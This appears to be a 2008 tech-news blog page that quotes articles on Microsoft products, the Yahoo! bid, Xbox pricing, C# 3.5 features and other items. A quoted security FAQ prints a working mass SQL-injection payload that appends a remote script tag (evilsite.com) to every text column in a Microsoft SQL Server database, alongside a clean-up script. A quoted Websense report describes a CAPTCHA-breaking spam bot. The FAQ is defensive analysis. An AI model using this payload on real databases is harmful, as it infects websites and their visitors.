• Users running Windows Vista will see the update as "recommended." By default, recommended updates are installed automatically; however, users can prevent automatic installation of Windows Search 4.0. We will publicly post specific instructions prior to publishing Windows Search 4.0 on Windows Update.
• On Windows Server 2008, the update will be applicable only if the File Server Role is enabled.

More on the improvements in Windows Search 4.0 can be found here: http://support.microsoft.com/kb/940157.
[/QUOTE]

Source: http://windowsvistablog.com/

[QUOTE]

Bill Gates and Steve Ballmer got on stage at D6 with Walt and Kara to talk... Microsoft, of course. While the company is still being rather coy about Windows 7 -- some have blamed loose lips early on in Vista development for saddling the OS with too high of expectations and making things difficult for developers -- they were nice enough to show off what Ballmer called "the smallest snippet" of Windows 7. The big reveal was multi-touch support, which utilizes technology developed by the Surface team. The taskbar seems to have been reworked a bit, and the demo was running live on a Dell Latitude XT tablet. Apparently Microsoft is reworking the whole user interface with a multitouch experience in mind. Steve reiterated the "three years after Vista" mantra for availability. Not exactly earth-shattering, but we'll take what we can get at this point.

Video: Multi-Touch in Windows 7

 

[/QUOTE]

Source: http://www.engadget.com/

[QUOTE]
Reports about the massive infection of web sites by an automated tool, whose most recent prominent victims have been United Nations, UK Government and the U.S. Department of Homeland Security raised some recurring questions which are worth answering.

1. The attack is targeting Microsoft IIS web servers. Is there a Microsoft vulnerability?
2. What can I do if I’m the administrator of an infected site?
3. What should I do as an user to protect myself?
4. How can NoScript protect if the compromised sites are in my trusted whitelist?

 

“Exploits of a Mom” by xkcd

1. The attack is targeting Microsoft IIS web servers. Is it exploiting a Microsoft vulnerability?

   Yes and no. Web developers (or their employers who did not mandate proper security education) are to blame for each single infection, because the SQL injection exploited to infect the web sites is possible thanks to trivial coding errors.
   That said, the attackers are targeting IIS web servers which run ASP for a reason.
   Crackers put together a clever SQL procedure capable of polluting any Microsoft SQL Server database in a generic way, with no need of knowing the specific table and fields layouts:
   
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR
FOR select a.name,b.name from sysobjects a,syscolumns b where
a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN
Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+
''<script src=http://evilsite.com/1.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor;

   This is the “secret sauce” which is allowing the attack to reach its impressive numbers, and it works exclusively against Microsoft database technology — but it’s a feature, not a bug (no irony intended this time). Anyway, the chances for such “powerful” DB technology of being used in conjunction with web servers different than IIS are very low.
   So, to recap:

   1. There’s no Microsoft-specific vulnerability involved: SQL injections can happpen (and do happen) on LAMP and other web application stacks as well.
   2. SQL injections, and therefore these infections, are caused by poor coding practices during web site development.
   3. Nonetheless, this mass automated epidemic is due to specific features of Microsoft databases, allowing the exploit code to be generic, rather than tailored for each single web site. Update: more details in this comment.

   In my previous coverage of similar incidents I also assumed a statistical/demographic reason for targeting IIS, since many ASP developers having a desktop Visual Basic background underwent a pretty traumatic migration to the web in the late 90s, and often didn’t really grow enough security awareness to develop safe internet-facing applications.

2. What should I do if I’m the administrator of an infected site?

   First of all, you should call your web developers (or even better, someone who specializes in web application security) and require a full code review to find and fix the SQL injection bugs.
   In the meanwhile you should either put your database offline or recover clean data from a backup, but until the code review is done be prepared to get compromised again. Deploying a web application firewall may mitigate the emergency, but you must understood it’s a merely temporary work-around — the solution is fixing the code (learn from the United Nations tale).
   If you’ve got no clean database backup, you could try to recover by brutally reversing the SQL attack:
   
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR
FOR select a.name,b.name from sysobjects a,syscolumns b where
a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN
Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=reverse(right(reverse(['+@C+']),
patindex(''%tpircs<%'', reverse(['+@C+']))+7))
where ['+@C+'] like ''<script%</script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor;

   This SQL procedure walks through your tables and fields, just like its evil prototype, but rather than appending the malicious JavaScript with
   
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+
''<script src=http://evilsite.com/1.js></script>''')

   it locates and removes it with
   
exec('update ['+@T+'] set ['+@C+']=reverse(right(reverse(['+@C+']),
patindex(''%tpircs<%'', reverse(['+@C+']))+7))
where ['+@C+'] like ''<script%</script>''')

   Notice that I’ve not tested my code above, and I’m just providing it as a courtesy: use it at your own risk, after doing a backup of your data.

3. What should I do as an user to protect myself?

   OK, this one is the easiest :)

4. How can NoScript protect if the compromised sites are in my trusted whitelist?

   Even if the compromised site is in your whitelist, allowed to run JavaScript, the malicious scripts are hosted on external servers controlled by the attackers (e.g. www.nihaorr1.com): therefore NoScript prevents them from being loaded and effectively defeats the attack.

[/QUOTE]

Source: http://hackademix.net/2008/04/26/mass-attack-faq/

[QUOTE]
Websense Security Labs ThreatSeeker™ technology has discovered that spammers in their recent tactics have drawn their attention towards traditional and infamous Hotmail, aka Live Hotmail services after the streamlined Live Mail Anti-CAPTCHA operations. Spammers have managed to create automated bots that are capable of not only signing up and creating random Hotmail accounts, but also use these accounts for spamming purposes from a proper Live Hotmail service. Websense predictions about this sophisticated spammer strategy at the time of Live Mail Anti-CAPTCHA and Gmail Anti-CAPTCHA operations, and its outcomes have been factual with this attack.

Websense believes that there are four main advantages to spammers from this approach. First, the Microsoft domain is unlikely to be blacklisted. Second, they are free to sign up. Third, the integration of Hotmail with wide range of Windows Live services. And fourth, it may be hard to keep track of them as there are millions of users worldwide using the service.
Let’s see the entire automated process in two stages.

Stage 1: Signing up and creating accounts successfully.
Part 1: Observe the bot hooking itself on to Internet Explorer browser on victims’ machine.

Part 2: Observe the set of pre-determined account names injected on to victims’ machine which bot attempts to sign-up over victims’ machine.

Part 3: The bot uses Internet Explorer browser in the background on the victims’ machine for attempting Hotmail account sign-up process.

Part 4: Observe the bot visiting Microsoft Hotmail account sign-up page, trying to grab CAPTCHA, and sending it to CAPTCHA breaking host for account creation.

Part 5: Try-break, try-break, try-break.

Part 6: Observe CAPTCHA images being collected as hidden files from victim’s machine during different account sign-up attempts.

Part 7: Unlike, Live Mail CAPTCHA break process, in this attack, the CAPTCHA breaking host communication with the victims’ machine is scrambled. It is observed that 8 characters in the CAPTCHA code are returned instantly during the sign-up, after the CAPTCHA image is sent to the breaking host. The bot infected or victims’ machine descrambles it to signup the account successfully.

Part 8: Observe that account is being signed up and created successfully.

Part 9: The created account credentials are returned back to CAPTCHA breaking host.

The entire process is automated and carried out in iterative manner until all the accounts are successfully signed up in the list injected (initially) on to victims’ machine (refer to Stage 1, Figure 1.2).
Stage 2: Spamming using created accounts from a proper Hotmail Server
Once all the accounts in the list (refer to Stage 1, Figure 1.2) are signed up by the bot, they are then picked randomly and used for spamming purposes.
Part 1: Observe the login process in action.

Part 2: Login process in further progress.

Part 3: Proper login in progress over SSL page.

Part 4: Observe the bot attempted a successful login on to a proper Live Hotmail Server page.

Part 5: Observe the bot attempting to initiate the edit process or composing a message for spamming.

Part 6: Spam message build in progress by the bot.

Part 7: Bot successfully filling in the "from email address list", “to email address“ lists , email subject, and the body to be included in the message for spamming purposes, there by competing its task.

End of message! Spam is being sent to targeted accounts.
Part 8: Finally the account is logged out to continue it similar operation with next email account.

Part 9:The entire process in action that is carried out in iterative manner to perform mass-mailing from different accounts created by the bot.

Spammers finally have success advertising their product.

Observations:
Stage 1: One in every 8 to 10 attempts to signup a hotmail account are successful. Hence success rate approximately ranges between 10 to 15%.
Stage 2: Spam campagins from one Hotmail account is sent to multiple accounts in CC and BCC list at a time. The same Hotmail account (or “from account/ address”) is not repeatedly used for sending spam campaigns continuously. They are changed in timely fashion by the bot. The same is the case with targeted accounts (or “to account(s)/ addresses) for spamming.
Additional Information:
It is observed that unlike Live Mail Anti-CAPTCHA and Gmail Anti-CAPTCHA operations in the past, the current attack is aggressive and instantaneous in terms of CAPTCHA breaking host turn-around time.
In the current attack, the response time of CAPTCHA breaking host after grabbing a CAPTCHA image from a victims’ machine, analyzing it, and responding back to victims’ machine with corresponding CAPTCHA code is relatively lower when compared to previous attacks.
Note 1: It is observed that the total response time for CAPTCHA breaking on the average is only about 6 seconds*.

Note 2: The timing on the request/response in this current attack clearly indicates the possibility of an automated system at the spammers’ end performing the Anti-CAPTCHA operation.
Websense believes that these accounts could be used by the spammers at any time for a variety of social-engineering attacks in future. A wide range of attacks (both manual and automated) would be possible using the same account credentials on other significant Live services integrated with Live Hotmail services offered by Microsoft Corporation, such as Live Messenger (instant messaging), Live Spaces (online storage), etc.

Note: For more information on Hotmail aka Live Hotmail and Live services, see the Hotmail, Live Hotmail and Live Mail entries on Wikipedia.
[/QUOTE]

Source: http://securitylabs.websense.com/

[QUOTE]
Dear Members of the Board:

It has now been more than two months since we made our proposal to acquire Yahoo! at a 62% premium to its closing price on January 31, 2008, the day prior to our announcement. Our goal in making such a generous offer was to create the basis for a speedy and ultimately friendly transaction. Despite this, the pace of the last two months has been anything but speedy.

While there has been some limited interaction between management of our two companies, there has been no meaningful negotiation to conclude an agreement. We understand that you have been meeting to consider and assess your alternatives, including alternative transactions with others in the industry, but we've seen no indication that you have authorized Yahoo! management to negotiate with Microsoft. This is despite the fact that our proposal is the only alternative put forward that offers your shareholders full and fair value for their shares, gives every shareholder a vote on the future of the company, and enhances choice for content creators, advertisers, and consumers.

During these two months of inactivity, the Internet has continued to march on, while the public equity markets and overall economic conditions have weakened considerably, both in general and for other Internet-focused companies in particular. At the same time, public indicators suggest that Yahoo!'s search and page view shares have declined. Finally, you have adopted new plans at the company that have made any change of control more costly.

By any fair measure, the large premium we offered in January is even more significant today. We believe that the majority of your shareholders share this assessment, even after reviewing your public disclosures relating to your future prospects.

Given these developments, we believe now is the time for our respective companies to authorize teams to sit down and negotiate a definitive agreement on a combination of our companies that will deliver superior value to our respective shareholders, creating a more efficient and competitive company that will provide greater value and service to our customers. If we have not concluded an agreement within the next three weeks, we will be compelled to take our case directly to your shareholders, including the initiation of a proxy contest to elect an alternative slate of directors for the Yahoo! board. The substantial premium reflected in our initial proposal anticipated a friendly transaction with you. If we are forced to take an offer directly to your shareholders, that action will have an undesirable impact on the value of your company from our perspective which will be reflected in the terms of our proposal.

It is unfortunate that by choosing not to enter into substantive negotiations with us, you have failed to give due consideration to a transaction that has tremendous benefits for Yahoo!'s shareholders and employees. We think it is critically important not to let this window of opportunity pass.
[/QUOTE]

Source: microsoft.com

[QUOTE]
Finally, the day has come. Viacom and SouthParkStudios delivered on the promise they gave last year, and gave us all South Park episodes ever created for free. You can find them all at www.southparkstudios.com. As NewTeeVee notes, it’s a pity you can’t embed the entire episodes (you can, however, embed the 3000 available clips), but I guess you can’t always have what you want.

The business side of things is quite simple: Comedy Central and Trey Parker and Matt Stone will split all ad revenue fifty-fifty. As for the rest of us, well, now we don’t have to go to obscure sites on foreign languages which get shut down after 2 weeks to get our South Park fix.
[/QUOTE]

Source: http://mashable.com/

Official: http://www.southparkstudios.com/news/3405

Definition: Software Update =  A new release (or version) of a piece of software that is generally understood to be an error correction release and does not contain new functionality. (as opposed to Upgrade) Updates are usually numbered by a change in the digit after the decimal. eg: V1.1 to V1.2

So far so good .... but some companies are redefining this. Example Apple:

[QUOTE]
What Apple is doing now with their Apple Software Update on Windows is wrong. It undermines the trust relationship great companies have with their customers, and that’s bad — not just for Apple, but for the security of the whole Web. What they did yesterday was to use their updater for iTunes to also install their Safari Web browser –what follows is some background and analysis.

Keeping software up to date is hard — hard for consumers to understand what patches are for, how to make sure they’re up to date.

It’s also critically, crucially important for the security of end users and for the security of the Web at large that people stay current. If people don’t update software regularly, it is impossible for them to remain safe; good software developers are creating improvements constantly. That’s why Mozilla spends so much time making sure our own Automatic Update Service works, and why we spend so much time agonizing over the user interface for the updates. We look at the data every time we do an update; we obsess about what we call “uptake rates” — the percentage of Firefox users who are on the most current version of the browser a day or a week or a month after release. As a result, Firefox users are incredibly up to date, and adopt very quickly.

There’s an implicit trust relationship between software makers and customers in this regard: as a software maker we promise to do our very best to keep users safe and will provide the quickest updates possible, with absolutely no other agenda. And when the user trusts the software maker, they’ll generally go ahead and install the patch, keeping themselves and everyone else safe.

Anyone who uses iTunes on Windows has Apple Software Update installed on their machines, which does just what I’ve described above: it checks for new patches available for Apple-produced software on your Windows machine, alerts the user to the availability, and allows updates to be installed. That’s great — wonderful, in fact. Makes everyone more likely to have current, patched versions of Apple’s software, and makes everyone safer.

Here’s screen that comes up on Windows XP if you’ve got iTunes installed:

(photo credit CNET)

The problem here is that it lists Safari for getting an update — and has the “Install” box checked by default — even if you haven’t ever installed Safari on your PC.

That’s a problem because of the dynamic I described above — by and large, all software makers are trying to get users to trust us on updates, and so the likely behavior here is for users to just click “Install 2 items,” which means that they’ve now installed a completely new piece of software, quite possibly completely unintentionally. Apple has made it incredibly easy — the default, even — for users to install ride along software that they didn’t ask for, and maybe didn’t want. This is wrong, and borders on malware distribution practices.

It’s wrong because it undermines the trust that we’re all trying to build with users. Because it means that an update isn’t just an update, but is maybe something more. Because it ultimately undermines the safety of users on the web by eroding that relationship. It’s a bad practice and should stop.

(I’ll make 2 points that I want to make very clear: (1) this is not a criticism of Safari as a web browser in any way, and (2) I have no objections to the basic industry practice of using your installed software as a channel for other software. This is specifically a criticism of the way they’re using the updating system. I’d much prefer to be writing about Firefox, but this practice hurts everyone and is important to note.)
[/QUOTE]

Source: http://john.jubjubs.net/

[QUOTE]
Microsoft stepped up to deliver iHD (later renamed HDi), which was a trademarked implementation of HD DVD's XML markup language. Toshiba liked it. They made HDi functionality a standard for HD DVD players, and eventually partnered with Microsoft to expand HDi's reach by founding the Advanced Interactivity Consortium. The primary goal of this group was forging industry relationships to further promote HDi in emerging outlets like downloadable and streaming media.

The deal gave HD DVD its competitive next-gen features, but here's the rub: Microsoft didn't need physical media to implement HDi. All of HDi's interactive bells and whistles could theoretically be applied to downloadable video content, as long as a runtime environment was available. Even as the disc format war raged on, elements of HDi's runtime environment showed up in Microsoft products like the Xbox 360 and Vista.

So, let's put everything together. Microsoft has a popular gaming console and an operating system that are HDi compatible. It also has a group of developers working on HDi applications, and a 360-accessible HD video library that could feasibly be outfitted with next-gen interactivity features. All that's left is the dog and pony show needed to convince content providers that HDi-enhanced content and Microsoft's video outlets are key to making HD video downloads a viable revenue stream.
[/QUOTE]

Full Story: thestandard.com

Microsoft released a number of significant changes and additions to Visual Studio and the .NET Framework over the last year or so. So you’re not alone if you find yourself occasionally feeling overwhelmed by all of the new changes. But if you think current projects keep you too busy to look at the latest releases, you need to remember the old adage about taking time out to sharpen your saw. In this article I’ll take some time to show you some great new additions to C# that can sharpen your productivity without a lot of effort.

Additions to C# in.NET Framework 3.5
In my first article about Visual Studio productivity enhancements, Microsoft Visual Studio 2008 Improvements, in the March 6, 2008 WindowsDevPro Update, I looked at improvements that developers can easily use without forcing us to change existing solutions or adopt entirely new coding paradigms. The same thing goes with the Visual Studio 2008/.NET Framework 3.5 Visual C# features that I’ll discuss here. All of these features are made possible through additional compiler support in the form of new syntax. This means that these new changes take only a few minutes to learn, yet they have the potential to provide significant productivity benefits.

The Coalescing Operator
It could be argued that the coalescing operator represents a minor change to C# in .NET Framework 3.5 and that if you’re not playing around with SQL Server LINQ, you might even miss this handy new bit of functionality. But if you’re too busy to check out LINQ, you still need to check out the coalescing operator as it can have a huge impact on your coding efficiency. Take a look at this code sample:

string middleName = txtMiddleName.Text ?? "";
Customer cust = GetCustomer(id) ?? new Customer();

I love it because it’s like having T-SQL’s ISNULL() or COALESCE() functions in C#, except that they’re implemented as an operator in C# which makes it lean, mean, and easy to use just about anywhere. I’ve found that using this operator can help to ensure that code remains sufficiently robust (by ensuring default values where needed) with a modicum of effort.

Object and Collection Initializers
I’m in love with C#’s new initializers; they’re valuable in many contexts because they’re an exceptionally clean way to create new objects or collections. For example, in applications where a business object is being edited or created based on an ID, if the ID is 0, then the action can represent the creation of a new object; otherwise it represents the ID of the object to edit. With object initializers I can easily define that logic in my code in a single line without jeopardizing readability:

User u = uId == 0 ? new User { Id = 0 } : GetUser(uId);
u.FirstName = txtFirstName.Text;
// etc.

I also find collection initializers to be extremely useful for simple logical evaluations like the following:

List<string> northWestStates =
    new List<string> { "Montana", "Idaho", "Washington", "Oregon" };
if(northWestStates.Contains(currentState))
    // state is a NW state

Of course, hard coding your logic like this doesn’t always make sense. But in cases where one-off evaluations are required by business logic, you can’t beat initializers for their ability to let you quickly code up a viable solution with minimal clutter.

Auto-Implemented Properties
I’ve also been using auto-implemented properties for a few months now. Each time I use this new syntax to create properties I’m amazed at how easy properties are to create now.

// 'traditional properties
private string _name;
public string Name
{
    get { return _name; }
    set { _name = value; }
}

// Auto-Implemented
//  exact same functionality, but less code
public string Name { get; set; }

Ironically, the hardest thing to get used to with automatic properties is remembering to use code snippets to create them, because that makes them a lot faster to implement. I frequently find myself creating properties by hand because it’s so easy with this new syntax.

Extension Methods
The thing I love most about C# in NET Framework 3.5 is extension methods. They’re important in making LINQ work, but I find that they’re extremely valuable in just about everything I do now. They’re extremely elegant and have virtually no learning curve, making them the perfect addition to any C# developer’s arsenal. Best of all, they help overcome some of the repetitive logic problems that I’ve been dealing with for so long–without making me link out to helper classes and other hacks.

Here are two extension methods that I’ve become addicted to:

public static bool IsEmpty(this string input)
{
    return string.IsNullOrEmpty(input);
}

public static string TrimTo(this string input, int len)
{
    if (input.IsEmpty())
        return input;

    if (input.Length > len)
        return input.Substring(0, len);

    return input;
}

IsEmpty() may not look like much (it looks like the old Visual Basic function IsEmpty()), but it’s become a life-saver for me. This is because checking strings in C# to see whether they’re null or empty gets a bit tedious. I know the string class offers a static .IsNullOrEmpty() method, which is much better than manually making those checks yourself, but it still ends up looking bulky in code. With IsEmpty() I’m able to abstract that same logic into a much cleaner bit of syntax that improves readability:

// good
if(text == null || text.Length < 1)
    // string is empty// better
if(string.IsNullOrEmpty(text))
    // string is empty// best (for me)
if (text.IsEmpty())
    // string is empty
The .TrimTo() method does more than just please my sense of aesthetics. In fact, it saves me oodles of time. For example, when persisting business objects to a database there’s that annoying impedance mismatch between SQL Server (or any  other database) and .NET: Where strings in .NET are of virtually any length, and strings in databases are typically constrained in size (to say, something like varchar(20)). Things get even worse with data such as Middle Names – which can be empty/null or up to a certain allowed length. Accordingly, a lot of my code accounts for that mismatch (whether I’m using stored procedures or LINQ) and looks like this:
Customer customer = new Customer();
if (string.IsNullOrEmpty(txtMName.Text))
    customer.MiddleName = "";
else
{
    if (txtMName.Text.Length > 30)
        customer.MiddleName = txtMName.Text.Substring(0, 30);
    else
        customer.MiddleName = txtMName.Text;
}

With .TrimTo() and the coalescing operator I’m able to ditch more than seven lines of code for the following single line of code that does the same thing:
customer.MiddleName = txtMName.Text.TrimTo(30) ?? "";
In each of my projects I’m now creating a static class or two to house my extension methods, which I create on a project-by-project basis to address common logical problems and repetitive tasks. And by placing these static classes into my projects without an explicit namespace, I’m able to access my encapsulated solutions wherever they’re needed, which has been a great productivity boost.

All This and a New Compiler Too
C# in .NET Framework 3.5 offers many great new additions; I’ve just scratched the surface here. You can use all of the additions that I’ve mentioned with very little effort or additional learning. And best of all, since these benefits are provided thanks to new compiler functionality, you can easily upgrade existing .NET Framework 3.0 and .NET Framework 2.0 applications to .NET Framework 3.5 without the pain associated with .NET Framework 1.0 to .NET Framework 2.0 conversions.

more on: http://www.windowsdevpro.com

[QUOTE]
Apparently, even subliminal exposure to the Apple logo can make you 'think different.' Researchers at Duke University subjected participants to subliminal images of the iconic Apple and IBM logos (during what subjects thought was a visual acuity test), and those who were shown the Apple logo generated more creative ideas after the test than did those who were shown the IBM logo. In a second test, subjects exposed to the Disney logo acted more honestly than those who saw an E! Channel logo.
[/QUOTE]

Here's a preprint of the paper (PDF) due for publication in the Journal of Consumer Research.

Source: http://apple.slashdot.org/

[QUOTE]

A number of credit card companies now issue credit cards with embedded RFIDs (radio frequency ID tags), with promises of enhanced security and speedy transactions.

But on today's episode of Boing Boing tv, hacker and inventor Pablos Holman shows Xeni how you can use about $8 worth of gear bought on eBay to read personal data from those credit cards -- cardholder name, credit card number, and whatever else your bank embeds in this manner.

Fears over data leaks from RFID-enabled cards aren't new, and some argue they're overblown -- but this demo shows just how cheap and easy the "sniffing" can be.

This episode is part of our ongoing series of interviews with some of the thinkers, hackers, and tinkerers at the O'Reilly Emerging Technology conference this year.
[/QUOTE]

Source: tv.boingboing.net (incl. discussion and downloadable video)

[QUOTE]
Previously, I looked at the Apple TV in isolation, to see how it fits as a digital hub. Apple isn't the only company that wants to have its device at the center of your home entertainment though, nor the only ones who want its storefront to be the one you use to download TV and movies. So in this next installment, I shall compare the Apple TV to what I think will be its closest rival, the Microsoft Xbox 360. Yes, you read that right. I am going to compare a game console with the Apple TV, but the comparison is not as far fetched as you might think. Both have storefronts where you can download TV episodes and movies. Both will rent you content in both HD and SD, and both will let you stream your own media through them to your TV and speakers.

Why the Apple TV is better:

• Cheaper than the Xbox 360
• Cheaper HD rentals
• Less restrictive licensing
• Build quality
• Better integration with the iTunes store
• Silent running
• Small form factor

Why the Xbox 360 is better:

• Lots of features when combined with Vista Windows Media Center
• Better picture quality (at the expense of file size)
• Plays games
• DVD drive (and the option of HD DVD)
• Includes cables

[/QUOTE]

Source: arstechnica.com (2 pages)

Xbox 360 - was: €349.99 / £249.99	now: €269.99 / £199.99
Xbox 360 Elite - was: €449.99 / £299.99	now: €369.99 / £259.99
Xbox 360 Arcade – was €269.99 / £199.99	now: €199.99 / £159.99

[QUOTE]
Microsoft today announced it is lowering the estimated retail price (ERP) for its Xbox 360™ family of consoles in Europe. Now with an entry-level ERP of €199.99/£159.99, Xbox 360 is a mass market entertainment proposition with something to offer for every interest and budget.

From Friday, 14th March, Xbox 360, which includes a 20GB hard drive and one wireless controller, will have an ERP of €269.99/£199.99 - a saving of €80/£50 on the current ERP. The Xbox 360 Elite, which comes with a massive 120GB hard drive enabling consumers to store huge quantities of content downloaded from Xbox LIVE™ Marketplace as well as their own music, will have an ERP of €369.99/£259.99 - a saving of €80/£40. The Xbox 360 Arcade console, perfect for those wishing to make their first foray into the gaming and entertainment world of Xbox, will have an ERP of €199.99/£159.99 - a saving of €80/£20.

Xbox 360 is the number one next-gen console in EMEA, owning 42% of the market in terms of life-to-date revenue. Xbox 360 continues to enjoy the highest software attach rate of any game console in Europe with more than 7.0 games sold per console (PS3: 3.8; Wii 3.5) after 26 months on the market .
The new ERPs are part of Microsoft's ongoing strategy to open up the ultimate in high-definition gaming and entertainment to an even wider audience, with an offering for everyone:

Best Choice for Families:

• Xbox 360 grows as your family does, offering games and entertainment for every member of the family - from movies to games to music videos.
• With over 150 3+ rated games and unparalleled parental controls, parents can feel good about their kids playing Xbox 360
  

Most Diverse Entertainment:

• Xbox 360 offers great choice in high-definition entertainment
• Xbox Live Video Store offers a wide variety of movies to download, both in HD and SD, enabling great entertainment in the living room at the press of a button
• It's easy to view and enjoy video and photos on Xbox 360 as well as connect wirelessly to share content with a Windows Media Center PC
  

The Best Games:

• There will be over 1,000 games available on Xbox 360 by the end of the year, with something for every skill level, interest and taste.
• New community games allow gamers to sample the best of indie games, providing innovative new ways to play and enjoy
• Blockbuster franchises like Grand Theft Auto IV, with exclusive downloadable episodes on Xbox LIVE, and Rock Band make Xbox 360 the place to be this Spring
• Xbox 360 exclusives for 2008 include Fable 2, Gears of War 2 and Too Human, setting new standards for next-generation gaming

"Xbox 360 is now mass market in Europe," said Chris Lewis, Vice President, Microsoft Interactive Entertainment Business Europe. "We have reached and surpassed several key milestones that form part of our long term strategic plan to achieve critical mass in Europe; and our portfolio now offers the kind of mainstream entertainment experiences that secure wider appeal for Xbox 360. These factors allow us to execute on our strategy to widen the market for Xbox 360, as planned.

"We continue to offer intense, immersive gaming experiences for gamers - but now we're priced in a way that will allow new consumers to find out for themselves why Xbox 360 is the ultimate in high-definition entertainment." said Lewis. "History shows that €199/£159 is the price point where a console's audience begins to expand, and with these new ERPs in place we're ready to bring more consumers into the Xbox 360 world."
[/QUOTE]

Source: http://www.microsoft.com/presspass/

[QUOTE]
Microsoft chief executive Steve Ballmer has admitted that the company is working on ways to support Blu-ray, the next-generation DVD format.

Although he did not talk specifically about the format in relation to gaming, he did concede it was time to move on following the collapse of the HD-DVD format earlier this year.

"We've already been working on, for example, in Windows, device driver support for Blu-ray drives and the like, and I think the world moves on," said Ballmer at the Mix08 conference.

"Toshiba has moved on. We've moved on, and we'll support Blu-ray in ways that make sense," he said.

Many are expecting Microsoft to announce a Blu-ray peripheral for the Xbox 360 in the near future, following the demise of the HD-DVD format and Microsoft's decision to end production of a HD-DVD add-on for its console.

According to a Financial Times report yesterday, Microsoft and Sony are currently in talks to offer a Blu-ray drive for the Xbox 360.
[/QUOTE]

Source: http://www.gamesindustry.biz

[QUOTE]
EU competition regulators dealt a new blow to Microsoft on Wednesday, fining the US software giant a record 899 million euros for defying a landmark 2004 anti-trust ruling.

The fine, equal to 1.4 billion dollars, is the biggest ever levelled against a single company in an EU antitrust case and brings the total penalties against Microsoft to just below 1.7 billion euros.
"Microsoft was the first company in 50 years of EU competition policy that the commission has had to fine for failure to comply with an anti-trust decision," EU Competition Commissioner Neelie Kroes said.

In reaction, Microsoft said it was "reviewing the commission's action" and highlighted that the latest EU action targeted "past issues."

"The commission announced in October 2007 that Microsoft was in full compliance with the 2004 decision, so these fines are about the past issues that have been resolved," the company said.
In particular, it accused Microsoft of using its stranglehold on PC operating systems to elbow rivals out of the more competitive markets for media players that play music and videos, and operating systems running back-office servers.
[/QUOTE]

Full Story: AFP

[QUOTE]
Downloading the new XNA Games takes a few extra steps.  You can watch a video (on Inside Xbox, or linked below) featuring Xbox LIVE's Michael Klucher to explain it, or use this handy-dandy crib sheet:

Xbox LIVE Community Games
Find out how to download the new XNA games from Xbox LIVE and play them on your console.  High | Low

1) Download XNA Creators Club Game Launcher (Marketplace/Game Store/All Games/XNA Creators Club).  Ignore the others.
(Note: If you use "XNA Game Launcher" or "XNA Game Studio Connect", you'll be told you need a Creators Club membership linked to your profile.)

2) Browse to My Games (Games/Games Library/My Games) and twist to XNA Creators Club.

3) Press Y to Download Games

4) Choose a game to download like any other game.

Filed Under: XNA, GDC

[/QUOTE]

Source: http://gamerscoreblog.com/team/

Here are the highlights:

• "The Xbox 360 community has unlocked over 1 billion achievements," says Schappert
• Over $250 million has been spent online in the Xbox Live Marketplace.
• How popular is Halo 3's saved films feature? Over 1,000 pieces are uploaded by the Halo 3 community every day -- that's 30% more than Youtube, claims Schappert.
• Over 800,000 downloads of the XNA toolset have occurred. It's been adopted by over 400 universities worldwide.
• DreamBuildPlay hoped to spur on creativity, and the results were "incredible." Over 200 games were submitted to the competition.
• Community games will be distributed through Xbox Live. "Xbox Live Community Games" will give creators a huge audience to share their creativity with. Game distribution will be democritized, allowing the community to control the content. Create, Submit, Peer Review, Play are the four key steps."
• Chris announced that Dishwasher, and 6 other community games will be available for you to try FREE on XBL marketplace later today.
• Also announced XNA games are coming to Zune.
• Tim Sweeney & Michael Capps from Epic are on stage showing off the next gen of Unreal Engine
• Over 1,000 games on Xbox 360 by the end of 2008, promises Schappert. And that excludes Xbox Live Community Games
• April 29th bring GTAIV to Xbox 360, "on day one." Starting Fall 2008, GTA DLC will hit Xbox Live Marketplace.
• A new guest on stage -- Team Ninja's Tomonobu Itagaki! He's here to demonstrate Ninja Gaiden 2. June 2008 is the release date.
• Peter Molyneux to show us Fable 2
• Cliffy B just burst through the set w/ Lancer to announce Gears of War 2 coming this November, exclusively on Xbox 360.
• Press Release: Xbox 360 Becomes First Video Game Console Ever to Invite the World to Create Original Games and Share Online With Millions

>> Microsoft's GDC keynote has been live blogged by joystiq.com and major nelson.

 

The new trailer for Gears of War 2 is now available on Xbox LIVE (only in Australia, Canada, Ireland, New Zealand, UK and US for now). If it's not available in your country yet, you can watch it below in low res:

Also added to Xbox LIVE (everywhere except Australia, Hong Kong, India, Korea, Mexico, New Zealand, Singapore, Taiwan) is the 'XNA Creators Club Game Launcher':

[QUOTE]
Microsoft Corp. is poised to try a hostile takeover of Yahoo Inc. by nominating its own slate of directors if the Sunnyvale Web portal fails to start negotiating its sale, according to a person familiar with the matter.

Microsoft's plan comes a little more than a week after Yahoo formally rebuffed a $44.6 billion acquisition proposal that would combine the two technology industry pioneers. The unsolicited offer substantially undervalued Yahoo and was not in the interest of its shareholders, Yahoo's board said.

Unwilling to take no for an answer, the Redmond, Wash., software behemoth is preparing a hostile bid - a proxy fight - that would ratchet up what is already among Silicon Valley's most high-profile takeover sagas. Such a tactic would open the door to months of campaigning by both companies for the hearts and minds of investors, who would be buffeted by conflicting viewpoints about Yahoo's future.

For Microsoft, trying to install a new board has its obvious advantage, aside from stacking a merger vote in the company's favor. The cost would be around $20 million to $30 million - mostly for legal and adviser fees - compared with spending billions dollars on a sweetened merger offer, according to the source, who is not authorized to speak publicly about the developments.

A Microsoft spokesman would say only that a hostile bid is one of many options being explored. A Yahoo spokeswoman reiterated that her company is evaluating several alternatives to the Microsoft bid, which, according to people familiar with the matter, include a potential partnership with News Corp., the owner of social-networking company MySpace.

To initiate a proxy fight, Microsoft would have to nominate a slate of Yahoo directors by March 14, the deadline for putting forward candidates. Investors would vote on the board's makeup in June during Yahoo's annual shareholder meeting.

